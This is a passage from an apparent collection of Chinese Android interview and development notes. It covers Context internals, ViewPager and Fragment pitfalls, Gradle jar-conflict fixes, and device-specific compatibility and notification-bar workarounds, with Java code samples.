abstract class whose implementation is provided by the Android system. It allows access to application-specific resources and classes, as well as up-calls for\napplication-level operations such as launching activities, broadcasting and receiving intents, etc\n\n### 从上可知一下三点,即：\n\n- 它描述的是一个应用程序环境的信息，即上下文。\n- 该类是一个抽象(abstract class)类，Android提供了该抽象类的具体实现类(后面我们会讲到是ContextIml类)。\n- 通过它我们可以获取应用程序的资源和类，也包括一些应用级别操作，例如：启动一个Activity，发送广播，接受Intent信息 等\n\n首先看它们的继承关系\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-3f6dfbce58383d95.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n### 2. 什么时候创建Context实例\n\n熟悉了Context的继承关系后，我们接下来分析应用程序在什么情况需要创建Context对象的？应用程序创建Context实例的情况有如下几种情况：\n\n1) 创建Application 对象时， 而且整个App共一个Application对象\n2) 创建Service对象时\n3) 创建Activity对象时\n\n### 因此应用程序App共有的Context数目公式为：\n\n> 总Context实例个数 = Service个数 + Activity个数 + 1（Application对应的Context实例）\n\n1、创建Application对象的Context:\n首先新建一个MyApplication并让它继承自Application，然后在AndroidManifest.xml文件中对MyApplication进行指定，如下所示：\n\n```xml\n<application\n    android:name=\".MyApplication\"\n    android:allowBackup=\"true\"\n    android:icon=\"@drawable/ic_launcher\"\n    android:label=\"@string/app_name\"\n    android:theme=\"@style/AppTheme\" >\n    ......\n</application>\n```\n\n指定完成后，当我们的程序启动时Android系统就会创建一个MyApplication的实例,通过如下代码获取到它的实例:\n\n```java\npublic class MainActivity extends Activity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        MyApplication myApp = (MyApplication) getApplication();\n        Log.d(\"TAG\", \"getApplication is \" + myApp);\n    }\n\n}\n```\n\n可以看到，代码很简单，只需要调用getApplication()方法就能拿到我们自定义的Application的实例了，打印结果如下所示：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-bf6808194c852db6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n那么除了getApplication()方法，其实还有一个getApplicationContext()方法，这两个方法看上去好像有点关联，那么它们的区别是什么呢？我们将代码修改一下：\n\n```java\npublic class MainActivity extends Activity {\n\n    @Override\n    protected void onCreate(Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_main);\n        MyApplication myApp = (MyApplication) getApplication();\n        Log.d(\"TAG\", \"getApplication is \" + myApp);\n        Context appContext = getApplicationContext();\n        Log.d(\"TAG\", \"getApplicationContext is \" + appContext);\n    }\n}\n```\n\n同样，我们把getApplicationContext()的结果打印了出来，现在重新运行代码，结果如下图所示：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-308f49c6b7acc8f2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n打印出的结果是一样的呀，连后面的内存地址都是相同的，看来它们是同一个对象。其实这个结果也很好理解，Application本身就是一个Context，所以这里获取getApplicationContext()得到的结果就是MyApplication本身的实例。\n\n那么有的朋友可能就会问了，既然这两个方法得到的结果都是相同的，那么Android为什么要提供两个功能重复的方法呢？实际上这两个方法在作用域上有比较大的区别。getApplication()方法的语义性非常强，一看就知道是用来获取Application实例的，但是这个方法只有在Activity和Service中才能调用的到。那么也许在绝大多数情况下我们都是在Activity或者Service中使用Application的，但是如果在一些其它的场景，比如BroadcastReceiver中也想获得Application的实例，这时就可以借助getApplicationContext()方法了，如下所示：\n\n```java\npublic class MyReceiver extends BroadcastReceiver {  \n\n    @Override  \n    public void onReceive(Context context, Intent intent) {  \n        MyApplication myApp = (MyApplication) context.getApplicationContext();  \n        Log.d(\"TAG\", \"myApp is \" + myApp);  \n    }  \n\n}\n```\n\n也就是说，getApplicationContext()方法的作用域会更广一些，任何一个Context的实例，只要调用getApplicationContext()方法都可以拿到我们的Application对象。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/README.md",
    "content": "## 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口？](迭代开发的时候如何向前兼容新旧接口？.md)\n- [手把手教你如何解决as jar包冲突](手把手教你如何解决as jar包冲突.md)\n- [Context原理分析](Context原理分析.md)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](终极解决ViewPager.setCurrentItem中间页面过多解决方案.md)\n- [解决字体适配](解决字体适配.md)\n- [软键盘顶出去解决方案](软键盘顶出去解决方案.md)\n- [机型适配之痛](机型适配之痛.md)"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/ViewPager和Fragment使用过程中会遇到哪些问题.md",
    "content": "**ViewPager和Fragment使用过程中会遇到哪些问题**\n\n### 1. 适配器的选择\n\n使用ViewPager加载多个Fragment时，我一般选择FragmentPagerAdapter。\n需要大家注意：\nFragmentPagerAdapter：该类内的每一个生成的 Fragment 都将保存在内存之中，因此适用于那些相对静态的页，数量也比较少的场景\n但是，如果需要处理有很多页，并且数据动态性较大、占用内存较多的情况，这时候，我们选择怎么是的适配器呢？\n\n应该使用FragmentStatePagerAdapter\n\nFragmentStatePagerAdapter：会把已经创建的Fragment进行保存。会保持Fragment的状态\n通过源码分析发现：\nFragmentStatePagerAdapter这个类抽象出了一个getItem()方法，用于创建对应的Fragment\n而FragmentStatePagerAdapter的.instantiateItem()方法实现中，调用了getIitem()方法。\n调用该instantiateItem()方法时，判断一下要生成的 Fragment 是否已经生成过了，如果生成过了，就使用旧的，旧的将被 Fragment.attach()；\n如果没有，就调用 getItem() 生成一个新的，新的对象将被 FragmentTransation.add()。\nFragmentStatePagerAdapter会将所有生成的 Fragment 对象通过 FragmentManager 保存起来备用，以后需要该 Fragment 时，都会从 FragmentManager 读取，而不会再次调用 getItem() 方法。\n\n### 2. Fragment数据的缓存\n\nFragment在初始化View对象，把该对象作为一个成员变量进行保存。\n再一次初始化Fragment对应的View对象时，判断当前成员变量View对象是否为空。\n如果为空，创建新的View对象，否则，不在创建。这样就可以做到对Fragemnt进行数据缓存\n\n这样做的好处：避免了每次加载Fragment都要重新创建View，加载数据了。提高了性能，以及减少了内存的开销。\n\n### 3. ViewPager预加载\n\n我们知道，系统的ViewPager默认提供预加载机制。但是，根据业务需要，取消掉对应的预加载机制。\n可以这样做：替换掉系统原生的Viewpager类。将该类中的一个变量mOffscreenPageLimit 设置为0,不进行预加载\n\n### 4. Fragment嵌套Fragment\n\n在Fragment中嵌套Fragment时，一定要使用getChildFragmentManager();\n\n否则，会在ViewPager中出现fragment不会加载的情况，即fragment出现空白页的情况。"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/手把手教你如何解决as jar包冲突.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n第一：当出现这个错误就是jar包冲突。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-9147f9c33825f794.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n第二：解决办法，双击Shift搜索，会发现如下图片：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-01ec162adcd79502.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n搜索你会发现我的项目里面添加了okhttp3.6，bomb里面也添加了okhttp3.3.1，这时候系统就不知道该用哪个jar冲突了。\n\n第三：打开项目的扩展库，如下图展示：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-d952e4f45f66ce3d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n会发现bomb自带了okhttp的jar包，如图片展示。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-cee4021279d743d6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n我的项目也再带okhttp的jar包，如图片展示。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-c05678f43cb13f4d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n第四：找到我的build.gradle文件，去掉刚刚冲突的jar包，如下展示：\n\n```gradle\n //bmob-sdk：Bmob的android sdk包，包含了Bmob的数据存储、文件等服务，以下是最新的bmob-sdk:\n   compile ('cn.bmob.android:bmob-sdk:3.5.5'){ // gson-2.6.2\n        exclude group: 'com.squareup.okhttp3'\n        exclude group: 'com.squareup.okio'\n        exclude group: 'com.google.code.gson'\n//        exclude(module: 'gson')      // 防止版本冲突\n    }\n\n // 网络加载\n    compile ('com.squareup.okhttp3:okhttp:3.6.0'){\n        exclude group: 'com.squareup.okhttp3'\n        exclude group: 'com.squareup.okio'\n    }\n```\n\n至此解决冲突。\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/机型适配之痛.md",
    "content": "由于开源三方定制系统较多，请大家详细描述场景、机型及解决方案，方便其他朋友参考\n\n[问答]-Android开发中有哪些兼容性问题？都是怎么解决的？\n[问答] 你在工作中遇到的最复杂的问题或者bug是什么？你是怎么搞定的?\n\n#### **华为P6和P7**\n\n场景：使用MIPush，在华为部分手机上无法推送成功。\n机型：[华为P6，华为P7]\n解决方案：P6和P7是华为的高端机型，不允许推送，防止骚扰用户，无解。\n\n#### **魅族3和魅族4**\n\n场景：魅族手机ListView的Item中的EditText无法编辑，点击EditText弹出软键盘后，软键盘会立即自动隐藏\n机型：[魅族3，魅族4]\n解决方案：\n方法一：将ListView换成RecyclerView\n\n方法二：[https://github.com/Aspsine/EditTextInListView](https://github.com/Aspsine/EditTextInListView)\n\n#### **HTC M8**\n\n场景：HTC M8 从一个Activity 使用QQSDK 登陆, 登陆成功后, 返回Activity结果Activity 被销毁了\n机型：HTC M8 等某些带有 虚拟 Menu 键盘的手机\n解决方案：后来调查发现是这个Activity是全屏,屏蔽了Menu键盘的黑条. 但是跳转到QQ却把那个Menu的黑条显示了出来, 这导致发生了 screenSize 的变化 从而导致我的Activity销毁了.\n知道了这个原因, 在manifest中的 configChanges 添加screenSize 解决了这个问题.\n\n#### **所有android4.4机型**\n\n场景：Android4.4系统使用了SystemBarTintManager库修改透明状态栏后，会导致根布局从屏幕顶端开始布局，而不是从ActionBar开始布局\n机型：所有android4.4机型\n解决方案：\n方法一：针对4.4创建一套额外的布局，即layout-v19文件夹，并且在根布局外层再套一层LinearLayout，并在LinearLayout中添加一个属性android:fitsSystemWindows=\"true\"\n\n方法二：是为4.4及以上添加了paddingTop去适配，添加layout觉得不好适配。\n\n方法三：在Build.VERSION.SDK_INT <= 18的版本中，通过colorDrawable.setAlpha(alpha);设置actionbar背景色透明度的时候，colorDrawable需要设置callback。\n\n```java\nfinal Drawable.Callback mDrawableCallback = new Drawable.Callback() {\n   @Override\n   public void invalidateDrawable(Drawable who) {\n      getActionBar().setBackgroundDrawable(who);\n   }\n\n   @Override\n   public void scheduleDrawable(Drawable who, Runnable what, long when) {\n   }\n\n   @Override\n   public void unscheduleDrawable(Drawable who, Runnable what) {\n   }\n };\n    colorDrawable.setCallback(mDrawableCallback);\n```\n\n#### **魅族MX3**\n\n场景：Camera拍摄，用setPreviewFormat设置成YV12，预览会变成绿屏，实际用getPreviewFormat显示是支持YV12的\n机型：魅族MX3\n解决方案：没办法只能设置成NV21了\n\n#### **其代表机型为：三星I8258、华为H30-T00、红米等。**\n\nCamera常见问题：\n1）Intent调用手机内相机程序\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-b40e3d256c6f4e90?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n如果我们设置了照片的存储路径，那么很可能会遇到一下三种问题：\n\n问题一：onActivityResult方法中的data返回为空（数据表明，93%的机型的data将会是Null，所以如果我们指定了路径，就不要使用data来获取照片，起码在使用前要做空判断）。\n问题二：照片无法存储。\n如果自定义存储路径是/mnt/sdcard/lowry/，而手机SD卡下在拍照前没有名为lowry的文件夹，那么部分手机拍照后图片不会保存，导致我们无法获得照片，大多数手机的相机遇到文件夹不存在的情况都会自己创建出不存在的文件夹，而个别手机却不会创建，\n\n解决的方法就是在指定存储路径前先判断路径中的文件夹是否都存在，不存在先创建再调用相机。\n\n问题三：照片可以存储，但是名字不对。\nfile:///mnt/sdcard/123 1.jpg，由于URI的fromFile方法会将路径中的空格用“%20”取代。\n\n其实对于大多数的手机这都不算事，手机在解析存储路径的时候都会将“%20”替换为空格，这样实际上最终的照片名字还是我们当初指定的名字：123 1.jpg，遗憾的是个别手机（如酷派7260）系统自带的相机没有将“%20”读成空格，拍照后的照片的名字是123%201.jpg，我们用路径“file:///mnt/sdcard/123 1.jpg”能找到照片才怪！\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-67bd68a83d2ee7e8?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-5f1fa797dfb56447?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n总结：\n\n（1）使用onActivityResult中的intent(data)前要做空判断。\n（2）指定拍照路径时，先检查路径中的文件夹是否都存在，不存在时先创建文件夹再调用 相机拍照。\n（3）指定拍照存储路径时，照片的命名中不要包含空格等特殊符号。\n\n#### **所有手机**\n\nPopupWindow中嵌套EditText，会出现EditText长按无法触发“粘贴”选项，可以改成Dialog嵌套EditText，包括DialogFragment。\n\n#### **三星Note系列,S系列**\n\n会调用Activity的onPause和onStop方法.其他手机会保持在onResume状态\n\n#### **酷派8720L**\n\n场景：在获取系统相机拍照然后保存在本地有时候会保存不上，获取不到地址。\n问题原因：通过调试发现当拍完照返回的时候自己设的成员变量值会被回收，估计就是内存不足的原因。重启机器后就好了。\n解决方案：无方案。\n\n#### **所有手机**\n\n场景：输入法中的emoji适配，Android4.1之前的系统不支持emoji显示\n\n解决方案：所以对于Android4.1之前的系统，我采用了bitmap来显示emoji。\n\n#### **三星手机**\n\n问题：\n(1) 摄像头拍照后图片数据不一定能返回 ; onActivityResult的data为空\n(2) 三星的camera强制切换到横屏 导致Activity重启生命周期 (但是部分机型 配置 android:configChanges 也不能阻止横竖屏切换);\n(3) APP Activity A调用系统拍照 --> 拍照 --> 在拍好照片的界面做几次横竖屏转换 --> 返回APP界面Activity A ，A 被销毁。\n\n解决方案：如果 activity 的销毁如果无法避免 那么在activity销毁之前调用 onSaveInstanceState 保存图片的路径\n当activity重新创建的时候 会将 onSaveInstanceState 保存的文件传递给onCreate()当中\n在onCreate当中 检查照片的地址是否存在文件 以此来判定拍照是否成功\nDemo 下载地址: [http://download.csdn.NET/detail/aaawqqq/7653475](http://download.csdn.net/detail/aaawqqq/7653475)\n\n#### **OPPO 手机**\n\n场景：OPPO 手机启动 Service 报 SecurityException\n解决方案：try catch 该异常\n\n#### **HTC Desire 820、Lenovo A320T**\n\n场景：这个问题主要在部分机型的4.X系统上遇见，小图标大小没有按照24dp裁剪，而是采用了桌面图标一样的大小96dp\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-1c84de8e950b9a09?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n解决方案：按照标准来，小图标大小为24dp，大图标为桌面icon图标大小96dp\n\n#### **魅族5.X手机，大图显示问题**\n\n场景：Flyme系统对原生Android源码做了修改，采用BigPictureStyle方式显示大图通知栏的时候，消息与大图重合了，如下图。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-0e926f46ba301bad?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n解决方案\n\n首先，通过BigPictureStyle来实现大图功能肯定是走不通的，因为事实就摆着行不通的嘛。京东的App肯定是通过RemoteViews来实现的。于是，开始走弯路，尝试通过RemoteViews来展示大图。但是谷歌规定，自定义布局展示的通知栏消息最大高度是64dp。那么，京东的App是怎么实现的？在尝试了各种方法以后，最后又是通过投机取巧的方式解决了问题\n\n```java\nprivate void showBigPictureNotificationWithMZ(Context context) {\n    NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);\n    Notification.Builder builder = new Notification.Builder(context);\n    Notification notification = generateNotification(builder);\n    notification.bigContentView = mRemoteViews;\n    notificationManager.notify(notifyId, notification);\n}\n```\n\n需要先生成Notification的实例，然后手动给notification.bigContentView赋值，再notify，就可以了\n\n#### **问题二：顶部状态栏(StatusBar)小图标显示异常**\n\n场景：当通知来的时候，如果不在通知栏浏览，会在顶部状态栏出现一个向上翻滚动画的通知消息，这条通知消息左边是一个小图标。部分系统这个小图标显示异常，是一个纯灰色的正方形，如下图。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-5b25b99da22ce685?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n解决方案\n\n首先产生灰色图标的原因就是5.0系统引入了材料设计，谷歌强制使用带有alpha通道的图标，并且RGB的alpha值必须是0(实测不为0也是可以的，但系统会忽略所有RGB值)。因此，使用JPG的图片是不行的，最好的代替方案就是一张背景透明的PNG图片。\n\n#### **问题三：Android 7.X机型，通知栏小图标显示成灰色**\n\n问题详情\n\n这个问题跟第二个有点类似，在7.0系统及以上，有部分应用的小图标是灰色的，大图可以正常显示。碰巧的是，显示异常的小图标，颜色都是灰色的。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-215d3c7a9e1b8401?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n解决方案\n\n与小图标显示异常解决方案类似，将小图标替换为透明背景的PNG图片。\n\n#### **问题四：RemoteViews显示异常**\n\n问题详情\n\n由于系统提供的通知栏消息类型有时候不能满足要求，部分通知栏消息采用自定义RemoteViews来实现。采用RemoteViews，特别是手动生成Bitmap然后直接传给一个自定义Layout，再通过setContentView方式设置通知栏消息时，会存在各种各样的坑。\n\nAndroid通知栏的背景色有几种情况，白色、暗色、暗色透明和黑色。如果生成的Bitmap带背景色，这个背景色就很难选择。如果选择黑色背景，那么在白色通知栏的机型上就很难看。因此不能完全在各个系统上面完美展示出来。如果不带背景色，那么字体颜色也面临同样的困惑。试想，如果在白色的背景上显示白色的文字，用户看到白茫茫一片，是什么感受？\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-50ad2e386e45a2ce?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n另一方面，大部分厂商对原生的Android系统都会有各种各样的改造，通知栏的样式也不例外。如果按照原生的样式来设计，那么在大部分国内厂商的机子上显示都和正常的普通通知栏消息不一样。例如华为6.0系统的机子，原生系统的时间线在右上角，华为的在左边，这样会给用户带来错觉。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-9f8029ebd65d19d8?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n解决方案\n\n详见RemoteViews适配一节。\n\n#### **问题五：通知栏更新频率**\n\n问题详情\n\n每个应用基本都有自更新的逻辑，App开机的时候提示用户升级，点击升级按钮后在Notification出现一个下载带进度条的通知。应用一般是在开启一个工作线程在后台下载，然后在下载的过程中通过回调更新通知栏中的进度条。我们知道，下载进度的快慢是不可控的，如果每次下载中的回调都去更新通知栏，那么可能几百毫秒、几十毫秒、甚至几毫秒就更新一次通知栏，应用可能就会ANR，甚至崩溃。\n\n解决方案\n\n控制通知栏更新频率，一般控制在0.5s或者1s就可以了。在某一个更新时间间隔内下载的进度回调直接丢弃，需要注意的是下载完成的回调，需要实时回调通知栏消息显示下载完成。\n\n问题六：恶心的后台通知和“守护”通知\n问题详情\n但凡存在后台通知或者“守护”通知的应用，在7.0系统以后都会原形毕露.\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-4fc6ee347dc92b25?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-6f2534065f0327a8?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n解决方案:无\n\n#### **小米推送SDK接入问题**\n\n问题详情\n\n为了提升推送到达，考拉接入了小米推送的SDK。小米推送分为通知栏消息和透传消息，通知栏消息属于系统级推送，在MIUI的机子上可以在进程被杀死的情况下也能收到应用推送。然而有个问题，小米认为应用在前台时，不会回调任何方法；小米认为应用在后台的时候，收到通知栏消息的同时，会回调onNotificationMessageArrived方法。这时候就要小心翼翼地处理这条消息了。因为如果你的应用前后台判断逻辑和小米的不一样，那么就有可能小米帮你发了一条通知栏消息，你自己又发了一遍，造成通知栏消息的重复发送(这个坑考拉踩过T_T)。另一方面，在7.0系统的机子上，主标题和小图标的颜色是可以改变的，目前小米推送SDK没有开放这个接口供调用方定制。\n\n解决方案\n\n目前只能解决第一个问题——前后台判断的问题。应用是否在后台可以根据以下代码进行判断。在Android 5.0以上，可以通过ActivityManager.RunningAppProcessInfo判断，Android 5.0及以下版本通过ActivityManager.RunningTaskInfo判断。经测试，这个方案在Android 4.4以上结果是可以完全匹配的。\n\n```java\npublic static boolean isAppInBackgroundInternal(Context context) {\n    ActivityManager manager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);\n    if (Build.VERSION.SDK_INT > Build.VERSION_CODES.LOLLIPOP) {\n        List<ActivityManager.RunningAppProcessInfo> runningProcesses = manager.getRunningAppProcesses();\n    if (!ListUtils.isEmpty(runningProcesses)) {\n    for (ActivityManager.RunningAppProcessInfo runningProcess : runningProcesses) {\n      if (runningProcess.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {\n                    return false;\n                }\n            }\n        }\n    } else {\n        List<ActivityManager.RunningTaskInfo> task = manager.getRunningTasks(1);\n        if (!ListUtils.isEmpty(task)) {\n            ComponentName info = task.get(0).topActivity;\n            if (null != info) {\n                return !isKaolaProcess(info.getPackageName());\n            }\n        }\n    }\n    return true;\n}\n```\n\n#### **Android通知栏适配**\n\nRemoteViews适配\n由于系统自带的通知栏消息样式不能完全满足产品们脑洞大开的需求，有时候我们需要自定义布局样式展示通知栏消息。Android系统可以将自定义布局通过setContent(7.X系统推荐使用setCustomContentView)设置到Notification.Builder中，来实现样式的更变。setContent方法需要传入一个RemoteViews对象，它是一个普通的数据类型，不是View，作用是供其他进程展示视图。RemoteViews只支持4种基本的布局:\n\nFrameLayout\nLinearLayout\nRelativeLayout\nGridLayout\n这些布局下面只支持几种视图控件:\n\nAnalogClock\nButton\nChronometer\nImageButton\nImageView\nProgressBar\nTextView\nViewFlipper\nListView\nGridView\nStackView\nAdapterViewFlipper\n只能通过上述组合生成一个RemoteViews。\n\n自定义布局与视图\n\n除了上面提到的布局与控件，有没有办法自定义布局与视图呢？我们知道，任何一个View，都可以生成一个Bitmap对象，支持的视图控件里有ImageView，可以通过ImageView.setBitmapResource()将自定义视图设置到一个ImageView中，然后再随便放到一个布局上，就可以实现通知栏消息的任意布局。理想是美好的，但现实是残酷的。使用这种方式自定义的布局，会存在与原生的通知栏消息样式不一致的可能，包括小图标/大图标的大小，字体的大小与颜色，时间的显示方式(不同版本的时间显示位置和样式都不一样)。下面解决一个最关键，也最致命的问题——字体颜色。如果字体颜色和背景颜色一样，那这条通知栏消息就没法看了，如RemoteViews显示异常一节介绍的一样。\n\n解决字体颜色和背景颜色一样的问题有三种解决方案，分别是：\n\n背景色固定不透明，字体颜色与背景色形成反差。（360和京东的做法）\n背景色透明，字体颜色采用系统原生的notification_style。\n背景色透明，通过特殊方式拿到通知栏字体颜色和字体大小。\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-3df9aac3a2381b77?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n其中，第一种方案简单，能够兼容所有厂商机型。例如京东固定背景色为黑色，字体为红色。这种方式的唯一缺陷是样式上不能与普通通知栏消息重合，在白色背景的通知栏上极为显眼。第二种方式，通过阅读源码可知，系统的通知栏标题和内容采用的颜色分别是@android:color/primary_text_dark和@android:color/secondary_text_dark，但踩过坑之后发现并非所有的机型默认都是这两个颜色，有可能获取不到值。因此这种方案只能作为参考，不能用于实际环境中。最后详细介绍一下第三种方式。\n\n#### **Android默认字体颜色获取**\n\n这种方案有一点投机取巧，是网上寻找代替方案时在简书上找到的，作者是hackware。思路就是通过Notification.Builder生成一条空的Notification，但不调用notify()方法，然后通过这条Notification想办法获取里面的布局元素，通过遍历，就能拿到对应的字体和颜色了。具体看代码：\n\n```java\nprivate static final String NOTIFICATION_TITLE = \"notification_title\";\npublic static final int INVALID_COLOR = -1; // 无效颜色\nprivate static int notificationTitleColor = INVALID_COLOR; // 获取到的颜色缓存\n/**\n * 获取系统通知栏主标题颜色，根据Activity继承自AppCompatActivity或FragmentActivity采取不同策略。\n *\n * @param context 上下文环境\n * @return 系统主标题颜色\n */\npublic static int getNotificationColor(Context context) {\n    try {\n        if (notificationTitleColor == INVALID_COLOR) {\n            if (context instanceof AppCompatActivity) {\n                notificationTitleColor = getNotificationColorCompat(context);\n            } else {\n                notificationTitleColor = getNotificationColorInternal(context);\n            }\n        }\n    } catch (Exception ignored) {\n    }\n    return notificationTitleColor;\n}\n/**\n * 通过一个空的Notification拿到Notification.contentView，通过{@link RemoteViews#apply(Context, ViewGroup)}方法返回通知栏消息根布局实例。\n *\n * @param context 上下文\n * @return 系统主标题颜色\n */\nprivate static int getNotificationColorInternal(Context context) {\n    Notification.Builder builder = new Notification.Builder(context);\n    builder.setContentTitle(NOTIFICATION_TITLE);\n    Notification notification = builder.build();\n    try {\n        ViewGroup root = (ViewGroup) notification.contentView.apply(context, new FrameLayout(context));\n        TextView titleView = (TextView) root.findViewById(android.R.id.title);\n        if (null == titleView) {\n            iteratorView(root, new Filter() {\n                @Override\n                public void filter(View view) {\n                    if (view instanceof TextView) {\n                        TextView textView = (TextView) view;\n                        if (NOTIFICATION_TITLE.equals(textView.getText().toString())) {\n                            notificationTitleColor = textView.getCurrentTextColor();\n                        }\n                    }\n                }\n            });\n            return notificationTitleColor;\n        } else {\n            return titleView.getCurrentTextColor();\n        }\n    } catch (Exception e) {\n        DebugLog.e(e.getMessage());\n        return getNotificationColorCompat(context);\n    }\n}\n/**\n * 使用getNotificationColorInternal()方法，Activity不能继承自AppCompatActivity（实测5.0以下机型可以，5.0及以上机型不行），\n * 大致的原因是默认通知布局文件中的ImageView（largeIcon和smallIcon）被替换成了AppCompatImageView，\n * 而在5.0及以上系统中，AppCompatImageView的setBackgroundResource(int)未被标记为RemotableViewMethod，导致apply时抛异常。\n *\n * @param context 上下文\n * @return 系统主标题颜色\n */\nprivate static int getNotificationColorCompat(Context context) {\n    try {\n        Notification.Builder builder = new Notification.Builder(context);\n        Notification notification = builder.build();\n        int layoutId = notification.contentView.getLayoutId();\n        ViewGroup root = (ViewGroup) LayoutInflater.from(context).inflate(layoutId, null);\n        TextView titleView = (TextView) root.findViewById(android.R.id.title);\n        if (null == titleView) {\n            return getTitleColorIteratorCompat(root);\n        } else {\n            return titleView.getCurrentTextColor();\n        }\n    } catch (Exception e) {\n    }\n    return INVALID_COLOR;\n}\nprivate static void iteratorView(View view, Filter filter) {\n    if (view == null || filter == null) {\n        return;\n    }\n    filter.filter(view);\n    if (view instanceof ViewGroup) {\n        ViewGroup viewGroup = (ViewGroup) view;\n        for (int i = 0; i < viewGroup.getChildCount(); i++) {\n            View child = viewGroup.getChildAt(i);\n            iteratorView(child, filter);\n        }\n    }\n}\nprivate static int getTitleColorIteratorCompat(View view) {\n    if (view == null) {\n        return INVALID_COLOR;\n    }\n    List<TextView> textViews = getAllTextViews(view);\n    int maxTextSizeIndex = findMaxTextSizeIndex(textViews);\n    if (maxTextSizeIndex != Integer.MIN_VALUE) {\n        return textViews.get(maxTextSizeIndex).getCurrentTextColor();\n    }\n    return INVALID_COLOR;\n}\nprivate static int findMaxTextSizeIndex(List<TextView> textViews) {\n    float max = Integer.MIN_VALUE;\n    int maxIndex = Integer.MIN_VALUE;\n    int index = 0;\n    for (TextView textView : textViews) 